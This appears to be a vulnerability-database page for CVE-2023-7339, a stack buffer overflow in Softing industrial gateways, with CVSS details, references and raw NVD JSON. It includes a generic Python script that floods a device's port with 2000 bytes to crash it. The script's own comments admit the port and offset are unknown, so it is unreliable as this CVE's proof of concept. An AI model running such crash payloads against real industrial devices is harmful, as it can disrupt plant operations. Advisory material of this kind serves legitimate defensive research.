CVE-2023-7339

Description

Stack-based buffer overflow vulnerability in Softing Industrial Automation GmbH gateways allows overflow buffers. This issue affects pnGate: through 1.30 epGate: through 1.30 mbGate: through 1.30 smartLink HW-DP: through 1.30 smartLink HW-PN: through 1.01.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

No configuration data available.

pnGate <= 1.30

epGate <= 1.30

mbGate <= 1.30

smartLink HW-DP <= 1.30

smartLink HW-PN <= 1.01

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import socket

# Proof of Concept for CVE-2023-7339
# This script attempts to trigger the buffer overflow by sending a long payload.
# Note: The specific vulnerable port and offset require further analysis.

target_ip = "192.168.1.100"
target_port = 80  # Example port, replace with actual vulnerable port

# Creating a payload of 'A's to overflow the buffer
# Adjust the length (e.g., 2000 bytes) based on the specific buffer limit
payload = b"A" * 2000

try:
    print(f"[+] Connecting to {target_ip}:{target_port}...")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.settimeout(5)
    s.connect((target_ip, target_port))
    
    print("[+] Sending malicious payload...")
    s.send(payload)
    
    print("[+] Payload sent. Check if the device has crashed.")
    s.close()
except Exception as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2023-7339
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2023-7339
[3] CVE Details https://www.cvedetails.com/cve/CVE-2023-7339/
[4] VulDB https://vuldb.com/cve/CVE-2023-7339
[5] https://industrial.softing.com/fileadmin/psirt/downloads/2023/CVE-2023-7339.html
[6] https://industrial.softing.com/fileadmin/psirt/downloads/2023/CVE-2023-7339.json
[7] https://industrial.softing.com/fileadmin/psirt/downloads/2023/CVE-2023-7339.html
[8] https://industrial.softing.com/fileadmin/psirt/downloads/2023/CVE-2023-7339.json

Raw JSON Data

JSON

{"cve": {"id": "CVE-2023-7339", "sourceIdentifier": "10de8ef9-5c89-4b17-8228-e97b74acf4bd", "published": "2026-03-27T11:16:01.863", "lastModified": "2026-03-30T13:26:29.793", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Stack-based buffer overflow vulnerability in Softing Industrial Automation GmbH gateways allows overflow buffers.\nThis issue affects\npnGate: through 1.30\nepGate: through 1.30\nmbGate: through 1.30\nsmartLink HW-DP: through 1.30\nsmartLink HW-PN: through 1.01."}], "metrics": {"cvssMetricV31": [{"source": "10de8ef9-5c89-4b17-8228-e97b74acf4bd", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "10de8ef9-5c89-4b17-8228-e97b74acf4bd", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}], "references": [{"url": "https://industrial.softing.com/fileadmin/psirt/downloads/2023/CVE-2023-7339.html", "source": "10de8ef9-5c89-4b17-8228-e97b74acf4bd"}, {"url": "https://industrial.softing.com/fileadmin/psirt/downloads/2023/CVE-2023-7339.json", "source": "10de8ef9-5c89-4b17-8228-e97b74acf4bd"}, {"url": "https://industrial.softing.com/fileadmin/psirt/downloads/2023/CVE-2023-7339.html", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}, {"url": "https://industrial.softing.com/fileadmin/psirt/downloads/2023/CVE-2023-7339.json", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}